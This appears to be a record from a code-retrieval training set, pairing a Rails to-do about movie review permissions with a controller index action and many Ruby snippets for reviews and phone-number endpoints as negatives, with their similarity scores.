"0.6711179",
"0.660632",
"0.6515652",
"0.64010984",
"0.63752776",
"0.63361067",
"0.6281089",
"0.6272425",
"0.625709",
"0.61785793",
"0.6165152",
"0.6152348",
"0.61347866",
"0.6131257",
"0.61301374",
"0.611968",
"0.6106689",
"0.60848504",
"0.6052892",
"0.60487914",
"0.6044434",
"0.60364115",
"0.6035317",
"0.60292727",
"0.5993951",
"0.599345",
"0.5961866",
"0.59566724",
"0.59542793",
"0.595148",
"0.5940766",
"0.5934622",
"0.5933926",
"0.5913914",
"0.5908905",
"0.58742625",
"0.58716863",
"0.5869309",
"0.58686155",
"0.58619887",
"0.58594906",
"0.5852971",
"0.5849961",
"0.584534",
"0.5825067",
"0.58226484",
"0.5816646",
"0.5810072",
"0.5809163",
"0.5798794",
"0.57983804",
"0.57983524",
"0.57926285",
"0.5792165",
"0.5787989",
"0.5783045",
"0.57825536",
"0.57791376",
"0.577267",
"0.5758664",
"0.5757943",
"0.57564265",
"0.5751397",
"0.5750267",
"0.5750267",
"0.57495683",
"0.57480836",
"0.5745105",
"0.57427853",
"0.57427853",
"0.5740923",
"0.5740826",
"0.5740826",
"0.57366294",
"0.57050216",
"0.57032925",
"0.57032925",
"0.5701426",
"0.5694923",
"0.56875944",
"0.56656176",
"0.56622744",
"0.5657182",
"0.5641941",
"0.5636823",
"0.56351376",
"0.5630371",
"0.5611305",
"0.56091404",
"0.56082827",
"0.5607506"
] |
0.6012323
|
33
|
Todo: Anyone can write or view the list of reviews for a movie, but only an admin or the user who created a review should be allowed to edit or delete it Implement this by removing the edit and delete buttons on the reviewshow page except for Admins, and create a link on the user profile page to My Reviews. Create a new view for the current user's reviews with options to edit and delete there.
|
def index
@reviews = @movie.reviews
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @reviews = current_user.reviews\n end",
"def my_reviews\n @owner = current_user\n @reviews = Review.find(:all, :conditions => [\"user_id = ?\", @owner.id])\n render :action => \"index\"\n end",
"def set_movie_review\n @movie_review = MovieReview.find(params[:id])\n end",
"def show\n @user = current_user\n @review = Review.joins(:movie).includes(:movie)\n .find_by_id(params[:id])\n\n @comments = @review.review_comments.map do |comment|\n if @user != nil\n belongs_to_user = @user.id == comment.user_id\n else\n belongs_to_user = false\n end\n {\n id: comment.id,\n body: comment.body,\n author: comment.user.nickname,\n author_image: comment.user.image,\n belongs_to_user: belongs_to_user\n }\n end\n if @user != nil\n @review_likes = ReviewLike.where(\"user_id = ? AND review_id = ?\", @user.id, @review.id)\n if @review_likes.empty?\n review_like_id = 'null'\n review_liked = false\n else\n review_like_id = @review_likes[0].id\n review_liked = true\n end\n else\n review_like_id = 'null'\n review_liked = 'null'\n end\n\n review = {\n title: @review.title,\n id: @review.id,\n likes: @review.likes,\n body: @review.body,\n genre: @review.genre,\n movie: @review.movie,\n belongs_to_user: @review.user == @user,\n review_like_id: review_like_id,\n review_liked: review_liked\n }\n render json: {review: review, comments: @comments}\n end",
"def create\n @review = Review.new(review_params)\n @review.user_id = current_user.id\n @review.movie_id = @movie.id\n\n respond_to do |format|\n #If the review is saved, it redirects to the movie page and shows the notice.\n if @review.save\n format.html { redirect_to @movie, notice: t('review.create') }\n format.json { render :show, status: :created, location: @review }\n #If the review is not saved, it refreshes the create review page.\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n movie = Movie.find(params[:movie_id])\n @review = Review.find(params[:id])\n @movie = Movie.find(params[:movie_id])\n end",
"def review\n @users = User.all\n @review = Review.new\n end",
"def index\n @admin_reviews = Review.all\n end",
"def index\n @reviews_and_ratings = ReviewsAndRating.all\n end",
"def show\n\t\tmr = MovieRetriever.new\n\t\t@movie = mr.get_movie(params[:id])\n\t\t@movie[\"ratings\"] = Rating.by_movie(params[:id])\n\t\t@movie[\"reviews\"] = Review.by_movie(params[:id])\n\n\t\tif params[\"page\"].to_i >= 2\n\t\t\t@movie[\"reviews\"] = Review.by_movie(params[:id], params[\"page\"].to_i)\n\t\tend\n\n\t\tif params[\"page\"]\n\t\t\t@next_page = params[\"page\"].to_i + 1\n\t\telse\n\t\t\t@next_page = 2\n\t\tend\n\n\t\tif Review.by_movie(@movie[\"id\"], @next_page).size >= 1\n\t\t\t@movie[\"more_reviews\"] = true\n\t\telse \n\t\t\t@movie[\"more_reviews\"] = false\n\t\tend\n\n\t\t@poster = mr.poster_config(3)\n\t\tif @movie[\"title\"] == nil\n\t\t\trender plain: \"Uhhh your movie doesn't seem to exist in the database. Maybe we took a wrong turn at Albuquerque...\"\n\t\tend\n\tend",
"def set_review\n @review = current_user.reviews.find(params[:id])\n end",
"def set_review\n @review = current_user.reviews.find(params[:id])\n end",
"def review\n end",
"def review_params\n params.require(:review).permit(:title, :body, :user_id, :movie_id, :rating)\n end",
"def index\n @reviews = Review.find params[:id]\n\n @user = User.find(params[user:id])\n @review = Review.new\n end",
"def show\n @movie = Movie.includes(\n :cover_photo, :created_by, movie_roles: [:actor], feedback: [:user]\n ).left_outer_joins(:ratings).select(\n 'movies.*, CAST(AVG(ratings.value) AS DECIMAL(10,2)) AS rating'\n ).find params[:id]\n @reviews = @movie.feedback.select { |item| item.type == 'Review' }\n @comments = @movie.feedback.select { |item| item.type == 'Comment' }\n comment_ids = @comments.map(&:id)\n @number_of_likes_on_comments = Comment.where_by_ids(comment_ids).calculate_number_of_likes\n @directors = @movie.movie_roles.select { |role| role.role_played == 'director' }\n @actors = @movie.movie_roles.select { |role| role.role_played == 'actor' }\n if current_user\n @liked_by_current_user = !(Like.movie_liked_by_current_user(params[:id],current_user.id).empty?)\n end\n end",
"def index\n @reviews = Review.all\n \n end",
"def set_admin_review\n @admin_review = Review.find(params[:id])\n end",
"def show\n session[:acting] = true\n session[:cinema] = true\n session[:writing] = true\n session[:score] = true\n session[:sfx] = true\n session[:movie_id] = @movie.id\n @reviews = @movie.reviews.sort_by { |review| review.score * -1 }\n end",
"def create\n\t\t@reviews = @share.reviews.order(priority: :asc)\n\t\t@reviewToAlter = @share.reviews.new(review_params)\n\t\t\n\t\tif @reviewToAlter.save\n\t\t\tredirect_to share_reviews_path(@share), notice: \"Review saved!\"\n\t\telse\n\t\t\tflash[:alert] = \"Error : #{@reviewToAlter.errors.full_messages.to_sentence}\"\n\t\t\trender :index\n\t\tend\n\tend",
"def index\n @visitor_reviews = VisitorReview.all\n end",
"def edit\n\t\t@reviews = @share.reviews.order(priority: :asc)\n\t\t@reviewToAlter = Review.find(params[:id])\n\tend",
"def show\n redirect_to \"#{movie_path(params[:id])}/reviews\"\n end",
"def index\n\t\t@reviews = @share.reviews.order(priority: :asc)\n\t\t@reviewToAlter = @share.reviews.new\n\tend",
"def show\n #this is going to be the individual review page using no. in db row using params array of :id. make sure we now create view page\n @review = Review.find(params[:id])\n end",
"def create\n @video = Video.find(params[:id])\n @review = Review.new(review_params.merge!(creator: current_user, video: @video))\n\n if @review.save\n flash[:success] = \"You have posted the review\"\n redirect_to video_path\n else\n @reviews = @video.reviews\n flash.now[:danger] = \"There was a problem with your submission\"\n render 'videos/show'\n end\n end",
"def movie_review_params\n params.require(:movie_review).permit(:comment, :reviewer, :movie_id)\n end",
"def view\n @review = Review.find(params[:id], :include => ['project'])\n @resource = @review.project\n if has_role?(:user, @review.project)\n render 'project_reviews/_view', :locals => {:review => @review}\n else\n render :text => \"<b>Cannot access this review</b> : access denied.\"\n end\n end",
"def update\n @user = current_user\n @review = Review.find(params[:id])\n @review.update_attributes(review_params)\n render json: @review, include: [:movie]\n end",
"def show\n @user = User.find(params[:id])\n @items = Item.where(user_id: @user.id)\n @reviews = Review.where(user_id: @user.id)\n end",
"def show\n @reviews = Review.select { |review| review.item_id == @item.id }\n @review = Review.new(item_id: @item.id)\n @ratingSum = 0.0\n @reviews.each do |review|\n @ratingSum = @ratingSum + review.rating\n end\n @avgRating = (@ratingSum/@reviews.count).round(1)\n if logged_in?\n @isPrevRented = Rental.find_by(user_id: current_user.id, history: true, item_id: params[:id])\n @isPrevReviewed = Review.find_by(user_id: current_user, item_id: params[:id])\n end\n @rentals = Rental.where(item_id: params[:id], history: true)\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def index\n @reviews = Review.all\n end",
"def view_review(arg)\n if arg.rating == nil #check if the user has created a rating/review for the movie_list object\n puts \"You have not rated/review this movie.\"\n write_a_review(arg)\n else\n puts \"You gave this movie the following rating: #{arg.rating}\"\n puts \"\"\n puts \"You gave this movie the following review:\"\n puts \"\"\n puts \"#{arg.review}\"\n puts \"\"\n puts \"Would you like to update your rating/review? y/n\"\n end\n new_input = gets.chomp\n system \"clear\"\n case new_input #!Test this input more thoroughly\n when \"y\"\n write_a_review(arg)\n when \"n\"\n main_menu_options()\n else\n view_review(arg)\n #send user back to the beginning\n end\n end",
"def create\n @reeview = Reeview.new(reeview_params)\n @reeview.user_id = current_user.id\n @reeview.movie_id = @movie.id\n\n if @reeview.save\n redirect_to @movie\n else\n render 'new'\n end\n end",
"def show\n @reviews = Review.where(videogame_id: @videogame.id).order(\"created_at DESC\")\n \n if @reviews.blank?\n @avg_rating = 0\n else\n @avg_rating = @reviews.average(:rating).round(2)\n end\n end",
"def index\n if params[:show_only]\n @movies = current_user.ratings.where(value: params[:show_only]).map{|r| r.movie}\n else\n @movies = Movie.all\n end\n end",
"def show\n if user_signed_in? && current_user.admin?\n @new_review = NewReview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @new_review }\n end\n else\n redirect_to root_path\n end\n end",
"def index\n @restaurant_reviews = RestaurantReview.all\n end",
"def show\n @review = find_review\n end",
"def show\n @resource = Resource.find(params[:id])\n @reviews = Review.where(:resource_id => @resource.id).order('created_at DESC').all\n @new_review = Review.new(:resource_id => @resource.id) unless !user_signed_in? or Review.exists?(:resource_id => @resource.id, :reviewer_id => current_user.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def show\n @reviews = @movie.reviews.page params[:page]\n @reported_reviews = current_user.reported_reviews.where(movie: @movie).pluck(:review_id)\n end",
"def set_reviews\n @reviews = Review.where(restaurant_id: @restaurant.id).order(\"created_at DESC\")\n end",
"def index\n #@reviews = Review.all\n if user_signed_in?\n @reviews = current_user.reviews\n render layout:\"layouts/twoColumn\"\n else\n redirect_to new_user_session_path\n end\n end",
"def update_review(movie, status)\n\tcheck = user_already_reviewed(movie)\n\t#if none returns 0\n\tif check == -1\n\t @update_review = 0\n\t#else returns the review id \n\telse\n\t reviewFound = movie.reviews.where('user_id' => current_user.id).first\n\t @update_review = reviewFound.id\n\tend\nend",
"def update\n if (allowAccessIfOwnerNameIsOrRankAtLeast(\"#{@review.poster}\", 1))\n respond_to do |format|\n if @review.update(review_params)\n format.html { redirect_to @review, notice: 'Review was successfully updated.' }\n format.json { head :no_content }\n end\n end\n else\n respond_to do |format|\n format.html { render action: 'edit' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n flash[:notice] = 'You do not have permission to edit this review'\n\n end\n end\n end",
"def load_reviews (movie)\n\t\tmovie[\"reviews\"] = Review.by_movie_quick(movie[\"id\"])\n\t\tif Review.by_movie(movie[\"id\"]).size <= 7\n\t\t\tmovie[\"more_reviews\"] = false\n\t\telse \n\t\t\tmovie[\"more_reviews\"] = true\n\t\tend\n\tend",
"def reviews(id, review_type='top_critic', page_limit='20', page='1', country='us')\n results = self.class.get(\"/movies/#{id}/reviews.json\", :query => {:review_type => review_type, :page_limit => page_limit, :page => page, :country => country}).parsed_response\n return results\n end",
"def set_review\n review = Review.find(params[:id])\n end",
"def create\n @review = Review.new(review_params)\n @review.film_id = @film.id\n @review.user_id = current_user.id\n\n if @review.save #saving review and redirecting to film path\n redirect_to film_path(@film)\n else\n render 'new'\n end\nend",
"def create\n # any registered user can add a review\n unless current_user.is_general_user?\n redirect_to denied_path\n return\n end\n\n @review = Review.new(params[:review])\n @review.user_id = current_user.id\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to(@review, :notice => 'Review was successfully created.') }\n format.xml { render :xml => @review, :status => :created, :location => @review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @review.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_review\n @restaurant_review = RestaurantReview.find(params[:id])\n end",
"def update\n movie = Movie.find(params[:movie_id])\n review = Review.find(params[:id])\n review.update(review_params)\n redirect_to '/movies/#{movies.id}/reviews/#{review.id}'\n end",
"def set_reviews_and_rating\n @reviews_and_rating = ReviewsAndRating.find(params[:id])\n end",
"def review\n return access_denied unless @course.has_teacher(current_user) || @submission.group.has_reviewer?(current_user) || (@exercise.collaborative_mode == 'review' && (@course_instance.has_student(current_user) || @course_instance.has_assistant(current_user)))\n\n review = @submission.assign_to(current_user)\n\n redirect_to edit_review_path(review)\n log \"create_review #{@submission.id},#{@exercise.id}\"\n end",
"def widget_reviews_list\n @snapshot = Snapshot.find(params[:snapshot_id])\n unless @snapshot && has_role?(:user, @snapshot)\n render :text => \"<b>Cannot access the reviews of this project</b>: access denied.\"\n return\n end\n\n @dashboard_configuration=Api::DashboardConfiguration.new(nil, :period_index => params[:period], :snapshot => @snapshot)\n render :partial => 'project/widgets/reviews/reviews_list'\n end",
"def new\n\t\tif !authenticate_user!(\"You must be logged in to write a review. Login now or sign up!\", true) \n\t\t\treturn \n\t\tend\t\t\n\t\t@store_review = @store.store_reviews.build\t\t\n\t\trender layout: false\t\t\n\tend",
"def show\n @restaurant = Restaurant.find(params[:id])\n @reviews = Review.where(restaurant_id: params[:id])\n end",
"def show\n @fullwidth = true\n if @user.is_artist\n @artist = @user\n if user_signed_in?\n @review = Review.find_by(receiving_user_id: @artist.id, leaving_user_id: current_user.id)\n @review.nil? ? @review = Review.new : @review\n end\n @reviews = @artist.received_reviews.page(params[:page]).order('updated_at DESC').per(25)\n @artist.view_count.present? ? @artist.view_count += 1 : @artist.view_count = 0\n @artist.save\n else\n @reviews = @user.left_reviews.page(params[:page]).order('updated_at DESC').per(25)\n end\n if params[:review].present?\n top_review = Review.find(params[:review])\n if params[:response_link].present?\n render 'show', locals: {top_review: top_review, response_link: true}\n else\n render 'show', locals: {top_review: top_review}\n end\n else\n respond_to do |format|\n format.html { render 'show' }\n format.js { render action: 'paginate_reviews' }\n end\n end\n end",
"def create\n @review = Review.new(review_params)\n @review.user_id = current_user.id\n \n #유저는 한 식당에 한번의 리뷰만 쓸 수 있다.\n # if current_user.reviews.restaurant_id?\n # redirect_to @review.errors,flash:{note: '리뷰는 한번만.'}\n # else\n # @review.save\n # redirect_to @review,flash:{success: 'Review was successfully created.'}\n # end\n \n if @review.save\n # redirect_to @review, flash:{success: 'Review was successfully created.'}\n redirect_to restaurant_url(@review.restaurant_id), flash:{success: 'Review was successfully created.'}\n else\n render :new\n end\n \n \n end",
"def list\n @reviews = current_user.organization.reviews\n end",
"def review(rating)\n user = User.new\n user.read_creddentials\n user.login\n response = user.review rating\n if response\n puts 'Last food reviewed!'\n else\n puts 'Nothing to review'\n end\n end",
"def show\n @review = Review.new\n end",
"def show\n @review = Review.new\n end",
"def show\n @review = Review.new\n end",
"def show\n @review = Review.new\n end",
"def show\n @review = Review.find(params[:id])\n\n end",
"def index\n @reviews = Review.all\n @review = Review.new(review: params[:review][:review], my_book_id: params[:my_book_id])\n end",
"def show\n @review = Review.new(user: current_user) if user_signed_in?\n end",
"def show\n if(session[:user]==nil)\n redirect_to \"/login\" and return\n end\n \n check=Auth.where(:username =>session[:user]).select('DISTINCT ON (username) *').pluck(:role)\n if(check[0]=='S' or check[0]=='Student' )\n redirect_to studet_path(check,:uin =>session[:user]) and return\n end\n if params[:uin] == nil\n params[:uin] = session[:pdf_user]\n end\n \n @detail=Review.rev_func(params[:uin]).select('DISTINCT ON (reviews.user_id,reviews.year) *').limit(1)\n @revs=Review.rev_func(params[:uin]).select('DISTINCT ON (reviews.user_id,reviews.year) *')\n temp=@detail.pluck(:user_id)\n temp2=User.where(:uin => temp[0]).pluck(:advisor)\n temp3=User.where(:uin => temp2[0]).pluck(:first_name)\n temp4=User.where(:uin => temp2[0]).pluck(:last_name)\n if temp3!=[] and temp4!=[]\n temp5=temp3[0]+' '+temp4[0]\n @tempad=temp5\n else \n @tempad=\"\"\n end\n session[:pdf_user]= params[:uin]\n end",
"def index\n @item_reviews = ItemReview.all\n end",
"def index\n @item_reviews = ItemReview.all\n end",
"def set_user_review\n @user_review = UserReview.find(params[:id])\n end",
"def show\n @tour_reviews = TourReview.new\n end",
"def create\n @review = Review.new(review_params)\n current_user.reviews << @review\n respond_to do |format|\n if @review.save\n format.json { render :show, status: :created, location: @review }\n else\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @movies = current_user.movies\n end",
"def index\n if current_user.type == \"Student\"\n @reviews = Review.all.search(params[:search])\n \n else\n @reviews = current_user.reviews\n end\n @review = Review.new\n end",
"def show\n @item = Item.find(params[:id])\n @reviews = @item.reviews\n end",
"def user_reviews\n list_of_reviews = self.reviews\n list_of_reviews.map{|review| \"User: #{review.user.name}, Rating: #{review.rating}, Review: #{review.description}\"}\n end",
"def movies\n # output = []\n # Review.all.each do |review|\n # if review.user == self\n # output << review.movie\n # end\n # end\n # output\n reviews.map { |review| review.movie }\n end",
"def review; end",
"def set_review\n @review = Review.find(params[:id])\n end",
"def set_review\n @review = Review.find(params[:id])\n end",
"def set_review\n @review = Review.find(params[:id])\n end",
"def set_review\n @review = Review.find(params[:id])\n end",
"def set_review\n @review = Review.find(params[:id])\n end",
"def set_review\n @review = Review.find(params[:id])\n end",
"def set_review\n @review = Review.find(params[:id])\n end",
"def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if !!@review && current_user\n current_user.reviews << @review\n @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end",
"def review\n # unapproved post viewer\n # MAKE ADMIN ONLY\n @posts = Post.order(\"approved, created_at desc\")\n .paginate(per_page: 7, page: params[:page])\n end"
] |
[
"0.6863232",
"0.6801164",
"0.6780731",
"0.67340565",
"0.67065465",
"0.6663382",
"0.6626354",
"0.6625354",
"0.6615033",
"0.6600781",
"0.6511863",
"0.6511863",
"0.64851224",
"0.64693564",
"0.64437056",
"0.64303917",
"0.6428562",
"0.64200634",
"0.6419192",
"0.64183176",
"0.6414077",
"0.6401781",
"0.6398755",
"0.637481",
"0.63698786",
"0.6362043",
"0.6360474",
"0.6347943",
"0.63309187",
"0.63175464",
"0.63146925",
"0.6303254",
"0.6303254",
"0.6303254",
"0.6303254",
"0.6303254",
"0.6303254",
"0.6303254",
"0.6303254",
"0.6303254",
"0.6303254",
"0.6303254",
"0.6303254",
"0.62806594",
"0.62668055",
"0.6262297",
"0.6248497",
"0.62479067",
"0.62464625",
"0.6229033",
"0.6215459",
"0.6211597",
"0.62112206",
"0.6210315",
"0.62096983",
"0.6204527",
"0.6197434",
"0.61772996",
"0.6175125",
"0.616941",
"0.6164287",
"0.61499333",
"0.61413205",
"0.61389357",
"0.61374104",
"0.6136582",
"0.61335045",
"0.613033",
"0.6130217",
"0.6117131",
"0.6113595",
"0.6110399",
"0.61101574",
"0.61101574",
"0.61101574",
"0.61101574",
"0.6109756",
"0.6108961",
"0.61023474",
"0.60944057",
"0.60925996",
"0.60925996",
"0.6092203",
"0.6090516",
"0.60903263",
"0.60878104",
"0.6083667",
"0.6082607",
"0.6079284",
"0.60780305",
"0.60773957",
"0.6076796",
"0.6076796",
"0.6076796",
"0.6076796",
"0.6076796",
"0.6076796",
"0.6076796",
"0.60695404",
"0.6067177"
] |
0.7156778
|
0
|
POST /numbers POST /numbers.json
|
def create
@number = Number.new(params[:number])
respond_to do |format|
if @number.save
format.json { render json: @number, status: :created }
else
format.json { render json: @number.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @num = Num.new(num_params)\n\n respond_to do |format|\n if @num.save\n format.html { redirect_to @num, notice: \"Num was successfully created.\" }\n format.json { render :show, status: :created, location: @num }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @num.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_insert_page_numbers(request)\n data, _status_code, _headers = post_insert_page_numbers_with_http_info(request)\n request_token if _status_code == 401\n data\n end",
"def create\n @number = Number.new(number_params)\n\n respond_to do |format|\n if @number.save\n format.html { redirect_to @number, notice: 'Number was successfully created.' }\n format.json { render :show, status: :created, location: @number }\n else\n format.html { render :new }\n format.json { render json: @number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tnumber = Tnumber.new(params[:tnumber])\n\n respond_to do |format|\n if @tnumber.save\n format.html { redirect_to @tnumber, :notice => 'Tnumber was successfully created.' }\n format.json { render :json => @tnumber, :status => :created, :location => @tnumber }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @tnumber.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test_number_array()\n # Parameters for the API call\n integers = JSON.parse('[1,2,3,4,5]')\n\n # Perform the API call through the SDK function\n result = self.class.controller.number_array(integers)\n\n # Test response code\n assert([*200..208].include? @response_catcher.response.status_code)\n\n # Test whether the captured response is as we expected\n assert_not_nil(result)\n expected_body = JSON.parse('{\"passed\":true}')\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def create\n @number_record = NumberRecord.new(number_record_params)\n\n respond_to do |format|\n if @number_record.save\n format.html { redirect_to number_records_path, notice: 'Number record was successfully created.' }\n format.json { render :show, status: :created, location: @number_record }\n else\n format.html { render :new }\n format.json { render json: @number_record.errors, status: :unprocessable_entity }\n end\n end\n end",
"def num_params\n params.require(:num).permit(:number)\n end",
"def numbers\r\n NumbersController.instance\r\n end",
"def number_array_params\n params.require(:number_array).permit(:nums)\n end",
"def number_params\n params.require(:number).permit(:allocated, :project_id, :mark_ids)\n end",
"def number_params\n params.require(:number).permit(:value)\n end",
"def create\n @number = @project.numbers.build\n\n @number.val = allocate_number @project\n @number.users << @user\n\n mark_ids = params[:number] && params[:number][:mark_ids] || []\n relate_has_many @number, Mark, mark_ids\n\n\n respond_to do |format|\n if @number.save\n format.html { redirect_to project_path(@project) }\n format.json { render :show, status: :created, location: @number }\n else\n format.html { render :new }\n format.json { render json: @number.errors, status: :bad_request }\n end\n end\n end",
"def create\n @number = Number.new(number_params)\n respond_to do |format|\n if @number.save\n format.html { redirect_to @number}\n else\n format.html { render :new }\n end\n end\n end",
"def render_success_response_json_with_number(number, status = :created)\n render json: { reading_id: number }, status: status\n end",
"def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end",
"def number_params\n params.require(:number).permit(:input)\n end",
"def send_digits(params)\n path = @version + '/Call/SendDigits/'\n method = 'POST'\n return request(path, method, params)\n end",
"def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end",
"def index\n @winning_numbers = WinningNumber.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @winning_numbers }\n end\n end",
"def create\n @people_number = PeopleNumber.new(people_number_params)\n\n respond_to do |format|\n if @people_number.save\n format.html { redirect_to @people_number, notice: 'People number was successfully created.' }\n format.json { render :show, status: :created, location: @people_number }\n else\n format.html { render :new }\n format.json { render json: @people_number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @phone_num = PhoneNum.new(phone_num_params)\n\n respond_to do |format|\n if @phone_num.save\n format.html { redirect_to @phone_num, notice: 'Phone num was successfully created.' }\n format.json { render :show, status: :created, location: @phone_num }\n else\n format.html { render :new }\n format.json { render json: @phone_num.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @number = Number.new(number_params)\n\n if !@number.business_number.blank?\n @number.business_number = \"+1\"+Phony.normalize(@number.business_number) \n end\n\n begin \n @client = Twilio::REST::Client.new BwCallTracking::Application.config.account_sid, BwCallTracking::Application.config.auth_token \n number = @client.account.incoming_phone_numbers.create(:area_code => @number.area_code[1..3], :voice_url => BwCallTracking::Application.config.voice_url, :status_callback => BwCallTracking::Application.config.voice_url)\n @number.tracking_number = number.phone_number\n rescue StandardError => e\n puts \"ERROR: \"+e.message \n end \n\n respond_to do |format|\n if @number.save\n format.html { redirect_to numbers_url, notice: 'Number was successfully created.' }\n format.json { render :show, status: :created, location: @number }\n else\n format.html { render :new }\n format.json { render json: @number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n discounts = []\n (1..params[:discount_number].to_i).each do |i|\n @discount = Discount.new(params[:discount])\n @discount.generate_token params[:discount_six_length].to_i\n @discount.save\n discounts << @discount\n end\n respond_to do |format|\n format.html { redirect_to discounts_url, notice: I18n.t(:discount_created, n: params[:discount][:name], c: params[:discount_number] ) }\n format.json { render json: discounts, status: :created, location: discounts }\n end\n end",
"def postEntityPhone( entity_id, number, trackable)\n params = Hash.new\n params['entity_id'] = entity_id\n params['number'] = number\n params['trackable'] = trackable\n return doCurl(\"post\",\"/entity/phone\",params)\n end",
"def index\n @numbers = Number.all\n end",
"def index\n @numbers = Number.all\n end",
"def index\n @numbers = Number.all\n end",
"def test_send_integer_array()\n # Parameters for the API call\n integers = JSON.parse('[1,2,3,4,5]')\n\n # Perform the API call through the SDK function\n result = self.class.controller.send_integer_array(integers)\n\n # Test response code\n assert_equal(@response_catcher.response.status_code, 200)\n\n # Test whether the captured response is as we expected\n assert_not_nil(result)\n expected_body = JSON.parse('{\"passed\":true}')\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def create\n @number = Number.new(number_params)\n\n if !@number.business_number.blank?\n @number.business_number = \"+1\"+Phony.normalize(@number.business_number) \n end\n\n begin \n\n numbers = Bandwidth::AvailableNumber.search_local({:area_code => @number.area_code[1..3]})\n \n if numbers.count > 0\n # buy the phone number\n number = Bandwidth::PhoneNumber.create({:number => numbers[0][:number], :applicationId => ENV[\"BANDWIDTH_APP_ID\"]})\n\n # assign the phone number to your app id\n @number.tracking_number = number.number\n @number.bw_id = number.id\n \n end\n\n rescue StandardError => e\n puts \"ERROR: \"+e.message\n raise \"There was a problem setting up your number. Try again.\" \n end \n\n respond_to do |format|\n if @number.save\n format.html { redirect_to numbers_url, notice: 'Number was successfully created.' }\n format.json { render :show, status: :created, location: @number }\n else\n format.html { render :new }\n format.json { render json: @number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @numbers = Number.all\n\n end",
"def new\n @tnumber = Tnumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @tnumber }\n end\n end",
"def phone_numbers\n request = @browser.get(\"#{VoipfoneClient::API_GET_URL}?nums\")\n parse_response(request)[\"nums\"].collect {|n| n.first}\n end",
"def create\n @numera = Numera.new(numera_params)\n\n respond_to do |format|\n if @numera.save\n format.html { redirect_to @numera, notice: 'Numera was successfully created.' }\n format.json { render :show, status: :created, location: @numera }\n else\n format.html { render :new }\n format.json { render json: @numera.errors, status: :unprocessable_entity }\n end\n end\n end",
"def of_format_number\n num = params[:num].to_f / 100\n num = number_with_precision(num.round(2), precision: 2)\n @json_data = { \"num\" => num.to_s }\n render json: @json_data\n end",
"def numbers\n @num1 = params[:num1]\n @num2 = params[:num2] \nend",
"def create\n @winning_number = WinningNumber.new(params[:winning_number])\n\n respond_to do |format|\n if @winning_number.save\n format.html { redirect_to @winning_number, notice: 'Winning number was successfully created. Good Luck!' }\n format.json { render json: @winning_number, status: :created, location: @winning_number }\n else\n format.html { render action: \"new\" }\n format.json { render json: @winning_number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client_number = ClientNumber.new(params[:client_number])\n\n respond_to do |format|\n if @client_number.save\n format.html { redirect_to @client_number, notice: 'Client number was successfully created.' }\n format.json { render json: @client_number, status: :created, location: @client_number }\n else\n format.html { render action: \"new\" }\n format.json { render json: @client_number.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @phonenumber = Phonenumber.new(params[:phonenumber])\n\n if @phonenumber.save\n render json: @phonenumber, status: :created, location: @phonenumber\n else\n render json: @phonenumber.errors, status: :unprocessable_entity\n end\n end",
